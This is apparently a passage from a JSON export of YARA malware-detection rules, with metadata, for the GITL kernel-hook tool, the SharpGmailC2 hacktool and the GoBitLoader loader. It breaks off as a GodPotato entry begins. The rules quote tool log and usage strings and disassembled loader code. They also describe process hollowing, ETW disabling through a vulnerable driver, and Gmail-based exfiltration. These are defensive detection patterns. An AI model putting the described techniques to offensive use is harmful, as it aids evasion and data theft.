+  "content": "import \"pe\"\n\nrule gitl_e95c368869e2 {\n    meta:\n        title = \"GITL Tool (e95c368869e2)\"\n        id = \"966a94b4-3116-49ba-9c7f-e95c368869e2\"\n        description = \"Detects the use of Ghost In The Logs (GITL) tool through its clear strings markers.\\nThese strings are related to error messages and logs generated by GITL during its setup or operation, such as driver loading, hooking attempts, and communication with the kernel driver.\\nThe tool is primarily used for kernel hooking and debugging purposes.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/bats3c/Ghost-In-The-Logs\"\n        date = \"2021-04-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562\"\n        classification = \"Windows.Tool.GITL\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $log_01 = \"[!] Could not extract victim driver, NTSTATUS(0x%lX) abort\" ascii\n        $log_02 = \"[!] Error data checksum mismatch!\" ascii\n        $log_03 = \"[!] Error decompressing resource, GetLastError %lu\" ascii\n        $log_04 = \"[!] Error while loading input driver file, NTSTATUS (0x%lX)\" ascii\n        $log_05 = \"[!] Error, invalid NT header\" ascii\n        $log_06 = \"[!] Error, %s address not found\" ascii\n        $log_07 = \"[!] Cannot query ntoskrnl loaded base, abort\" ascii\n        $log_08 = \"[!] Error while loading ntoskrnl.exe, NTSTATUS (0x%lX)\" ascii\n        $log_09 = \"[!] Cannot write payload to the registry, abort\" ascii\n        $log_10 = \"[!] Bootstrap code size exceeds limit, abort\" ascii\n        $log_11 = \"[!] Could not load victim driver, GetLastError %lu\" ascii\n        $log_12 = \"[!] Could not read FILE_OBJECT at 0x%llX\" ascii\n        $log_13 = \"[!] Could not read DEVICE_OBJECT at 0x%p\" ascii\n        $log_14 = \"[!] Could not read DRIVER_OBJECT at 0x%p\" ascii\n        $log_15 = \"[!] Physical address is not within same/next page, reload victim driver\" ascii\n        $log_16 = \"[!] Too many reloads, abort\" ascii\n        $log_17 = \"[!] Error writing shellcode to the target driver, abort\" ascii\n        $log_18 = \"[+] Successfully loaded hook\" ascii\n        $log_19 = \"[!] Error while building shellcode, abort\" ascii\n        $log_20 = \"[!] Error preloading victim driver, abort\" ascii\n        $log_21 = \"[!] Error unloading victim driver\" ascii\n        $log_22 = \"[!] Error: Unable to communicate with the driver, have you loaded it?\" ascii\n        $log_23 = \"[!] Unhandled exception 0x%lx\" ascii\n        $log_24 = \"[+] CleanUp successful\" ascii\n        $log_25 = \"[!] Kernel hook driver not found\" ascii\n        $log_26 = \"[+] Enabled Hook (events will be dropped)\" ascii\n        $log_27 = \"[+] Disabled Hook (events will be reported)\" ascii\n        $log_28 = \"[!] Vulnerable driver already loaded\" ascii\n        $log_29 = \"[!] Driver resource id not found %lu\" ascii\n        $log_30 = \"[!] Unable to extract vulnerable driver, NTSTATUS (0x%lX)\" ascii\n        $log_31 = \"[!] Unable to load vulnerable driver, NTSTATUS (0x%lX)\" ascii\n        $log_32 = \"[!] Unable to open vulnerable driver, NTSTATUS (0x%lX)\" ascii\n        $log_33 = \"[!] Unable to unload vulnerable driver, NTSTATUS (0x%lX)\" ascii\n        $log_34 = \"[!] Abort: selected provider does not support HVCI\" ascii\n        $log_35 = \"[!] Abort: selected provider does not support this Windows NT build\" ascii\n        $log_36 = \"[!] Abort: selected provider does not support arbitrary kernel read/write or\" ascii\n        $log_37 = \"\tKDU interface is not implemented for these methods.\" ascii\n        $log_38 = \"[!] Abort: SeDebugPrivilege is not assigned! NTSTATUS (0x%lX)\" ascii\n        $log_39 = \"[!] Abort: SeLoadDriverPrivilege is not assigned! NTSTATUS (0x%lX)\" ascii\n        $log_40 = \"[!] Coult not register driver, GetLastError %lu\" ascii\n        $log_41 = \"[!] Victim driver already loaded, force reload\" ascii\n        $log_42 = \"[!] Attempt to unload %ws\" ascii\n        $log_43 = \"[!] Could not force unload victim, NTSTATUS(0x%lX) abort\" ascii\n        $log_44 = \"[+] Previous instance of victim driver unloaded\" ascii\n        $log_45 = \"ERROR: Drive returned unknown value\" ascii\n        $log_46 = \"Enabled (events not being logged)\" ascii\n        $log_47 = \"Disabled (all events are being logged)\" ascii\n        $log_48 = \"ERROR: During cleanup, %d\" ascii\n\n        $usage_1 = \"Usage: gitl.exe <arg>\" ascii\n        $usage_2 = \"Arguments:\" ascii\n        $usage_3 = \"enable\t-\tEnable the kernel hook, this will disable etw\" ascii\n        $usage_4 = \"disable\t-\tDisable the kernel hook, this will enable etw\" ascii\n        $usage_5 = \"load\t-\tUse KDU to load the kernel driver\" ascii\n        $usage_6 = \"clean\t-\tClean up any left over files\" ascii\n\n        $critical_1 = \"Ghost In The Logs by @_batsec_\" ascii\n        $critical_2 = \"Mad probs to @hfiref0x and @everdox\" ascii\n        $critical_3 = \"C:\\\\Users\\\\thejoker\\\\Desktop\\\\ghostinthelogs\\\\Source\\\\x64\\\\Release\\\\kinfinityhook.pdb\" ascii\n        $critical_4 = \"ghostinthelogs\" ascii wide\n        $critical_5 = \"gitlkernelhook.sys\" ascii wide\n\n    condition:\n        uint16(0) == 0x5A4D and (\n            (1 of ($critical_*)) // Any of these strings is a yikes\n            or (4 of ($usage_*)) // 2/3 of 6\n            or (32 of ($log_*)) // 2/3 of 48\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gitl_e95c368869e2"
+  ],
+  "rule_creation_date": "2021-04-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.GITL"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gmailc2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581793Z",
+  "creation_date": "2026-03-23T11:46:25.581795Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581801Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/reveng007/SharpGmailC2/"
+  ],
+  "name": "gmailc2.yar",
+  "content": "rule sharpgmailc2_hacktool {\n    meta:\n        title = \"SharpGmailC2 HackTool\"\n        id = \"e30d933f-bfd0-463a-962c-8e2dea0023ed\"\n        description = \"Detects the SharpGmailC2 HackTool.\\nSharpGmailC2 is a server-side implant and client-side tool designed to exfiltrate data over SMTP and receive commands via Gmail's IMAP protocol.\\nIt enables communications between a server and a compromised system, allowing data transfer and command execution.\"\n        references = \"https://github.com/reveng007/SharpGmailC2/\"\n        date = \"2023-08-30\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.003;attack.exfiltration;attack.t1567\"\n        classification = \"Windows.HackTool.SharpGmailC2\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9b0ec57b0edf6d231a85486be29b19fbadde14a57ecd38a48ef05f663df02d34\n\n        $s1 = \"[*] Waiting for {0} seconds for the Operator to send Command\" wide fullword\n        $s2 = \"Subject of Mail Sent by Operator:\" wide fullword\n        $s3 = \"[GmailC2] Command Sent> {0}\" wide fullword\n        $s4 = \"GmailC2Prompt\" ascii fullword\n        $s5 = \"GmailC2_ProcessedByFody\" ascii fullword\n        $s6 = \"\\\\source\\\\repos\\\\SharpGmailC2\\\\obj\\\\Release\\\\GmailC2.pdb\" ascii\n\n        $canary = \"3ef6bf78621e4ebcdce50050a9c49427b5c4cee8343b72ab1318d3e3f2806886ccd9c1fb0039f5d6700864a5480c1c7b97855426b9c7fb8e15dc6050560e8369\"\n\n    condition:\n        2 of ($s*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sharpgmailc2_hacktool"
+  ],
+  "rule_creation_date": "2023-08-30",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SharpGmailC2"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.003",
+    "attack.t1567"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gobitloader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582624Z",
+  "creation_date": "2026-03-23T11:46:25.582626Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582631Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cyble.com/blog/double-trouble-latrodectus-and-acr-stealer-observed-spreading-via-google-authenticator-phishing-site/\nhttps://www.malwarebytes.com/blog/threat-intelligence/2024/03/new-go-loader-pushes-rhadamanthys"
+  ],
+  "name": "gobitloader.yar",
+  "content": "rule gobitloader {\n    meta:\n        title = \"GoBitLoader\"\n        id = \"f2d574bc-5abc-4a77-a9b6-0fb0b6d836b6\"\n        description = \"Detects RunPE functions and strings related to GoBitLoader, a loader written in Go often used to inject stealers like Rhadamanthys or ACR Stealer into legitimate system processes.\\nThe RunPE technique consists on starting a legitimate process in a suspended state, then rewriting its memory with a malicious payload before resuming execution, effectively hijacking the new process.\\nIt is recommended to investigate the context around this alert to hunt for malicious actions and to dump any spawned processes to determine the payload.\"\n        references = \"https://cyble.com/blog/double-trouble-latrodectus-and-acr-stealer-observed-spreading-via-google-authenticator-phishing-site/\\nhttps://www.malwarebytes.com/blog/threat-intelligence/2024/03/new-go-loader-pushes-rhadamanthys\"\n        date = \"2025-06-18\"\n        modified = \"2025-07-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.012;attack.t1140\"\n        classification = \"Windows.Loader.GoBitLoader\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c163175cad308e8d96e5629b107bb8a30b6552f117ff8589db18f09991d9f3c9\n        // ecaa86e10d633a595be37d68acd217939b770f1f0d4709192b461b0b2df9f5d5\n        // d76391b6dca2b5057a0adfb446cf6f80e9be5ec4241cfeddff6e1ca03b331a72\n        // a62a2d2bf6bce86b9a0bf8a43ae74004f94e5e712400a68d2cc062ec72e1fc78\n\n        $go_binary_1 = \"Go buildinf:\" ascii\n        $go_binary_2 = \"fatal error: cgo callback before cgo call\" ascii\n\n        $s1 = \"main.main.func1\" ascii\n        $s2 = \", size = , tail = ./Data.db: status=\" ascii\n        $s3 = \"[%x:]slice bounds out of range [:%x] (types from different packages)C:\\\\Windows\\\\SysWOW64\\\\explorer.exeCertAddCertificateContextToStoreCertVerify\" ascii\n\n        // main_LoadPEModule\n        $x1_v1 = {\n            49 3B 66 10                                   // cmp     rsp, [r14+10h]\n            (76 ?? | 0F 86 ?? ?? ?? ??)                   // jbe     short loc_47DFE5\n            48 83 EC 50                                   // sub     rsp, 50h\n            48 89 6C 24 48                                // mov     [rsp+50h+var_8], rbp\n            48 8D 6C 24 48                                // lea     rbp, [rsp+50h+var_8]\n            88 4C 24 27                                   // mov     [rsp+50h+var_29], cl\n            88 5C 24 26                                   // mov     [rsp+50h+var_2A], bl\n            48 89 44 24 40                                // mov     [rsp+50h+var_10], rax\n            48 C7 44 24 28 00 00 00 00                    // mov     [rsp+50h+var_28], 0\n            48 8D 44 24 28                                // lea     rax, [rsp+50h+var_28]\n            E8 ?? ?? ?? ??                                // call    main_LoadFile\n            48 85 C0                                      // test    rax, rax\n            75 ??                                         // jnz     short loc_47DFA5\n            31 C0                                         // xor     eax, eax\n            48 8B 6C 24 48                                // mov     rbp, [rsp+50h+var_8]\n            48 83 C4 50                                   // add     rsp, 50h\n            C3                                            // retn\n        }\n        $x1_v2 = {\n            49 3B 66 10                                   // cmp     rsp, [r14+10h]\n            (76 ?? | 0F 86 ?? ?? ?? ??)                   // jbe     loc_14026A875\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 48                                   // sub     rsp, 48h\n            48 89 44 24 58                                // mov     [rsp+48h+arg_0], rax\n            44 88 44 24 27                                // mov     [rsp+48h+var_21], r8b\n            40 88 74 24 26                                // mov     [rsp+48h+var_22], sil\n            48 89 7C 24 40                                // mov     [rsp+48h+var_8], rdi\n            48 C7 44 24 28 00 00 00 00                    // mov     [rsp+48h+var_20], 0\n            48 8D 7C 24 28                                // lea     rdi, [rsp+48h+var_20]\n            E8 ?? ?? ?? ??                                // call    main_LoadFile\n            48 85 C0                                      // test    rax, rax\n            75 ??                                         // jnz     short loc_14026A826\n            31 C0                                         // xor     eax, eax\n            48 83 C4 48                                   // add     rsp, 48h\n            5D                                            // pop     rbp\n            C3                                            // retn\n        }\n        $x1_v3 = {\n            49 3B 66 10                                   // cmp     rsp, [r14+10h]\n            (76 ?? | 0F 86 ?? ?? ?? ??)                   // jbe     loc_1404123F5\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 38                                   // sub     rsp, 38h\n            48 89 44 24 48                                // mov     [rsp+38h+arg_0], rax\n            48 89 7C 24 60                                // mov     [rsp+38h+arg_18], rdi\n            40 88 74 24 68                                // mov     [rsp+38h+arg_20], sil\n            44 88 44 24 69                                // mov     [rsp+38h+arg_21], r8b\n            48 C7 44 24 20 00 00 00 00                    // mov     [rsp+38h+var_18], 0\n            48 8D 7C 24 20                                // lea     rdi, [rsp+38h+var_18]\n            E8 ?? ?? ?? ??                                // call    main_LoadFile\n            48 85 C0                                      // test    rax, rax\n            75 ??                                         // jnz     short loc_1404123A6\n            31 C0                                         // xor     eax, eax\n            48 83 C4 38                                   // add     rsp, 38h\n            5D                                            // pop     rbp\n            C3                                            // retn\n        }\n\n        // main__LoadPEModule\n        $x2_v1 = {\n            49 3B 66 10                                   // cmp     rsp, [r14+10h]\n            0F 86 ?? ?? ?? ??                             // jbe     loc_4845E1\n            48 83 EC 50                                   // sub     rsp, 50h\n            48 89 6C 24 48                                // mov     [rsp+50h+var_8], rbp\n            48 8D 6C 24 48                                // lea     rbp, [rsp+50h+var_8]\n            40 88 74 24 71                                // mov     [rsp+50h+arg_19], sil\n            48 89 4C 24 68                                // mov     [rsp+50h+arg_10], rcx\n            40 84 F6                                      // test    sil, sil\n            74 ??                                         // jz      short loc_484558\n            48 89 44 24 40                                // mov     [rsp+50h+var_10], rax\n            48 89 5C 24 38                                // mov     [rsp+50h+var_18], rbx\n            40 88 7C 24 2F                                // mov     [rsp+50h+var_21], dil\n            E8 ?? ?? ?? ??                                // call    main_GetDirectoryEntry\n            84 C0                                         // test    al, al\n            74 ??                                         // jz      short loc_48455C\n            48 8B 44 24 40                                // mov     rax, [rsp+50h+var_10]\n            48 8B 4C 24 68                                // mov     rcx, [rsp+50h+arg_10]\n            48 8B 5C 24 38                                // mov     rbx, [rsp+50h+var_18]\n            0F B6 74 24 71                                // movzx   esi, [rsp+50h+arg_19]\n            0F B6 7C 24 2F                                // movzx   edi, [rsp+50h+var_21]\n\n                                        // loc_484558:\n            31 D2                                         // xor     edx, edx\n            EB ??                                         // jmp     short loc_48457D\n\n                                        // loc_48455C:\n            48 8B 44 24 40                                // mov     rax, [rsp+50h+var_10]\n            E8 ?? ?? ?? ??                                // call    main_GetImageBase\n            48 8B 4C 24 68                                // mov     rcx, [rsp+50h+arg_10]\n            48 8B 5C 24 38                                // mov     rbx, [rsp+50h+var_18]\n            0F B6 7C 24 2F                                // movzx   edi, [rsp+50h+var_21]\n            48 89 C2                                      // mov     rdx, rax\n            48 8B 44 24 40                                // mov     rax, [rsp+50h+var_10]\n        }\n        $x2_v2 = {\n            49 3B 66 10                                   // cmp     rsp, [r14+10h]\n            0F 86 ?? ?? ?? ??                             // jbe     loc_14026BC35\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 48                                   // sub     rsp, 48h\n            40 88 74 24 71                                // mov     [rsp+48h+arg_19], sil\n            48 89 4C 24 68                                // mov     [rsp+48h+arg_10], rcx\n            0F 1F 40 00                                   // nop     dword ptr [rax+00h]\n            40 84 F6                                      // test    sil, sil\n            75 ??                                         // jnz     short loc_14026BB89\n            31 D2                                         // xor     edx, edx\n            EB ??                                         // jmp     short loc_14026BBE3\n\n                                        // loc_14026BB89:\n            48 89 5C 24 40                                // mov     [rsp+48h+var_8], rbx\n            48 89 44 24 38                                // mov     [rsp+48h+var_10], rax\n            40 88 7C 24 2F                                // mov     [rsp+48h+var_19], dil\n            BB 05 00 00 00                                // mov     ebx, 5\n            31 C9                                         // xor     ecx, ecx\n            90                                            // nop\n            E8 ?? ?? ?? ??                                // call    main_GetDirectoryEntry\n            48 85 C0                                      // test    rax, rax\n            74 ??                                         // jz      short loc_14026BBC2\n            48 8B 44 24 38                                // mov     rax, [rsp+48h+var_10]\n            48 8B 4C 24 68                                // mov     rcx, [rsp+48h+arg_10]\n            48 8B 5C 24 40                                // mov     rbx, [rsp+48h+var_8]\n            0F B6 7C 24 2F                                // movzx   edi, [rsp+48h+var_19]\n            31 D2                                         // xor     edx, edx\n            EB ??                                         // jmp     short loc_14026BBE3\n        }\n        $x2_v3 = {\n            49 3B 66 10                                   // cmp     rsp, [r14+10h]\n            0F 86 ?? ?? ?? ??                             // jbe     loc_1404137D5\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 30                                   // sub     rsp, 30h\n            48 89 4C 24 50                                // mov     [rsp+30h+arg_10], rcx\n            40 88 74 24 59                                // mov     [rsp+30h+arg_19], sil\n            0F 1F 40 00                                   // nop     dword ptr [rax+00h]\n            40 84 F6                                      // test    sil, sil\n            75 04                                         // jnz     short loc_140413729\n            31 D2                                         // xor     edx, edx\n            EB ??                                         // jmp     short loc_140413783\n\n                                        // loc_140413729:\n            48 89 44 24 40                                // mov     [rsp+30h+arg_0], rax\n            48 89 5C 24 48                                // mov     [rsp+30h+arg_8], rbx\n            40 88 7C 24 58                                // mov     [rsp+30h+arg_18], dil\n            BB 05 00 00 00                                // mov     ebx, 5\n            31 C9                                         // xor     ecx, ecx\n            90                                            // nop\n            E8 ?? ?? ?? ??                                // call    main_GetDirectoryEntry\n            48 85 C0                                      // test    rax, rax\n            74 ??                                         // jz      short loc_140413762\n            48 8B 44 24 40                                // mov     rax, [rsp+30h+arg_0]\n            48 8B 4C 24 50                                // mov     rcx, [rsp+30h+arg_10]\n            48 8B 5C 24 48                                // mov     rbx, [rsp+30h+arg_8]\n            0F B6 7C 24 58                                // movzx   edi, [rsp+30h+arg_18]\n            31 D2                                         // xor     edx, edx\n            EB ??                                         // jmp     short loc_140413783\n        }\n\n        // main.main.func2\n        $x3 = {\n            48 8B 6D 00                                   // mov     rbp, [rbp+0]\n            31 DB                                         // xor     ebx, ebx\n            B9 68 00 00 00                                // mov     ecx, 68h\n            48 8D 44 24 50                                // lea     rax, [rsp+0C0h+var_70]\n            90                                            // nop\n            E8 ?? ?? ?? ??                                // call    main_sailintact\n            C7 44 24 50 68 00 00 00                       // mov     dword ptr [rsp+0C0h+var_70], 68h\n            48 8B 44 24 48                                // mov     rax, [rsp+0C0h+var_78]\n            31 DB                                         // xor     ebx, ebx\n            B9 18 00 00 00                                // mov     ecx, 18h\n            E8 ?? ?? ?? ??                                // call    main_sailintact\n            48 8D 05 ?? ?? ?? 00                          // lea     rax, aCWindowsSyswow ; \"C:\\\\Windows\\\\SysWOW64\\\\explorer.exe\"\n            BB 20 00 00 00                                // mov     ebx, 20h\n            E8 ?? ?? ?? ??                                // call    syscall_StringToUTF16Ptr\n            48 8B 54 24 48                                // mov     rdx, [rsp+0C0h+var_78]\n            48 89 14 24                                   // mov     [rsp+0C0h+var_C0], rdx\n            48 89 C3                                      // mov     rbx, rax\n            31 C9                                         // xor     ecx, ecx\n            48 89 CF                                      // mov     rdi, rcx\n            31 F6                                         // xor     esi, esi\n            41 B8 04 00 00 00                             // mov     r8d, 4\n            45 31 C9                                      // xor     r9d, r9d\n            4D 89 CA                                      // mov     r10, r9\n            4C 8D 5C 24 50                                // lea     r11, [rsp+0C0h+var_70]\n            4C 89 C8                                      // mov     rax, r9\n            E8 ?? ?? ?? ??                                // call    syscall_CreateProcess\n        }\n\n        // https://github.com/SaturnsVoid/Project-Whis/blob/8c9fa2862086ef5755e26c27a99caa47f62c8868/Clients/HTTPS/Windows/core/ExternalRunPE.go#L791\n        // Memcpy\n        $x4 = {\n            48 89 CA                                      // mov     rdx, rcx\n            48 C1 F9 03                                   // sar     rcx, 3\n            31 F6                                         // xor     esi, esi\n            EB 0B                                         // jmp     short loc_4812B6\n\n                                        // loc_4812AB:\n            48 8B 3C F3                                   // mov     rdi, [rbx+rsi*8]\n            48 89 3C F0                                   // mov     [rax+rsi*8], rdi\n            48 FF C6                                      // inc     rsi\n\n                                        // loc_4812B6:\n            48 39 CE                                      // cmp     rsi, rcx\n            7C F0                                         // jl      short loc_4812AB\n            (\n                48 83 E2 07 |                             // and     rdx, 7\n                83 E2 07                                  // and     edx, 7\n            )\n            31 F6                                         // xor     esi, esi\n            EB 10                                         // jmp     short loc_4812D3\n\n                                        // loc_4812C3:\n            48 8D 3C CE                                   // lea     rdi, [rsi+rcx*8]\n            44 0F B6 04 3B                                // movzx   r8d, byte ptr [rbx+rdi]\n            44 88 04 38                                   // mov     [rax+rdi], r8b\n            48 FF C6                                      // inc     rsi\n\n                                        // loc_4812D3:\n            48 39 D6                                      // cmp     rsi, rdx\n            7C EB                                         // jl      short loc_4812C3\n            C3                                            // retn\n        }\n        $x4_v2 = {\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 18                                   // sub     rsp, 18h\n            48 89 CA                                      // mov     rdx, rcx\n            48 C1 F9 03                                   // sar     rcx, 3\n            31 F6                                         // xor     esi, esi\n            EB 0B                                         // jmp     short loc_140524728\n\n                                        // loc_14052471D:\n            48 8B 3C F3                                   // mov     rdi, [rbx+rsi*8]\n            48 89 3C F0                                   // mov     [rax+rsi*8], rdi\n            48 FF C6                                      // inc     rsi\n\n                                        // loc_140524728:\n            48 39 CE                                      // cmp     rsi, rcx\n            7C F0                                         // jl      short loc_14052471D\n            48 89 44 24 28                                // mov     [rsp+28h], rax\n            48 89 5C 24 30                                // mov     [rsp+30h], rbx\n            48 89 54 24 10                                // mov     [rsp+10h], rdx\n            48 89 4C 24 08                                // mov     [rsp+8], rcx\n            E8 ?? ?? ?? ??                                // call    main_RDF\n        }\n        $x4_v3 = {\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 40                                   // sub     rsp, 40h\n            48 89 CA                                      // mov     rdx, rcx\n            48 C1 F9 03                                   // sar     rcx, 3\n            31 F6                                         // xor     esi, esi\n            EB 0B                                         // jmp     short loc_14077F268\n\n                                        // loc_14077F25D:\n            48 8B 3C F3                                   // mov     rdi, [rbx+rsi*8]\n            48 89 3C F0                                   // mov     [rax+rsi*8], rdi\n            48 FF C6                                      // inc     rsi\n\n                                        // loc_14077F268:\n            48 39 CE                                      // cmp     rsi, rcx\n            7C F0                                         // jl      short loc_14077F25D\n            48 89 44 24 50                                // mov     [rsp+40h+arg_0], rax\n            48 89 5C 24 58                                // mov     [rsp+40h+arg_8], rbx\n            48 89 54 24 38                                // mov     [rsp+40h+var_8], rdx\n            48 89 4C 24 30                                // mov     [rsp+40h+var_10], rcx\n            31 F6                                         // xor     esi, esi\n            EB ??                                         // jmp     short loc_14077F2C6\n        }\n\n        // https://github.com/SaturnsVoid/Project-Whis/blob/8c9fa2862086ef5755e26c27a99caa47f62c8868/Clients/HTTPS/Windows/core/ExternalRunPE.go#L810\n        // Memset\n        $x5_v1 = {\n                                        // loc_47DBB0:\n            48 8D 34 D9                                   // lea     rsi, [rcx+rbx*8]\n            48 8B 38                                      // mov     rdi, [rax]\n            48 89 3C 30                                   // mov     [rax+rsi], rdi\n            48 FF C3                                      // inc     rbx\n\n                                        // loc_47DBBE:\n            48 8D 72 FF                                   // lea     rsi, [rdx-1]\n            48 39 F3                                      // cmp     rbx, rsi\n            7C E9                                         // jl      short loc_47DBB0\n            C3                                            // retn\n        }\n        $x5_v2 = {\n                                        // loc_482742:\n            48 8B 2C 24                                   // mov     rbp, [rsp+8+var_8]\n            48 83 C4 08                                   // add     rsp, 8\n            C3                                            // retn\n                                        // loc_48274B:\n            48 8D 34 D9                                   // lea     rsi, [rcx+rbx*8]\n            48 8B 38                                      // mov     rdi, [rax]\n            48 89 3C 30                                   // mov     [rax+rsi], rdi\n            48 FF C3                                      // inc     rbx\n        }\n        $x5_v3 = {\n                                        // loc_140524842:\n            48 8D 34 DA                                   // lea     rsi, [rdx+rbx*8]\n            48 8B 39                                      // mov     rdi, [rcx]\n            48 89 3C 31                                   // mov     [rcx+rsi], rdi\n            48 FF C3                                      // inc     rbx\n\n                                        // loc_140524850:\n            48 8D 70 FF                                   // lea     rsi, [rax-1]\n            48 39 F3                                      // cmp     rbx, rsi\n            7C ??                                         // jl      short loc_140524842\n            48 89 C8                                      // mov     rax, rcx\n            48 83 C4 18                                   // add     rsp, 18h\n            5D                                            // pop     rbp\n            C3                                            // retn\n        }\n        $x5_v4 = {\n                                        // loc_14077F661:\n            48 8D 34 D9                                   // lea     rsi, [rcx+rbx*8]\n            48 8B 38                                      // mov     rdi, [rax]\n            48 89 3C 30                                   // mov     [rax+rsi], rdi\n            48 FF C3                                      // inc     rbx\n\n                                        // loc_14077F66F:\n            48 8D 72 FF                                   // lea     rsi, [rdx-1]\n            48 39 F3                                      // cmp     rbx, rsi\n            7C ??                                         // jl      short loc_14077F661\n            48 83 C4 18                                   // add     rsp, 18h\n            5D                                            // pop     rbp\n            C3                                            // retn\n        }\n\n    condition:\n        1 of ($go_binary_*) and (all of ($s*) or 1 of ($x*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gobitloader"
+  ],
+  "rule_creation_date": "2025-06-18",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.GoBitLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-godpotato_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571533Z",
+  "creation_date": "2026-03-23T11:46:25.571535Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571540Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
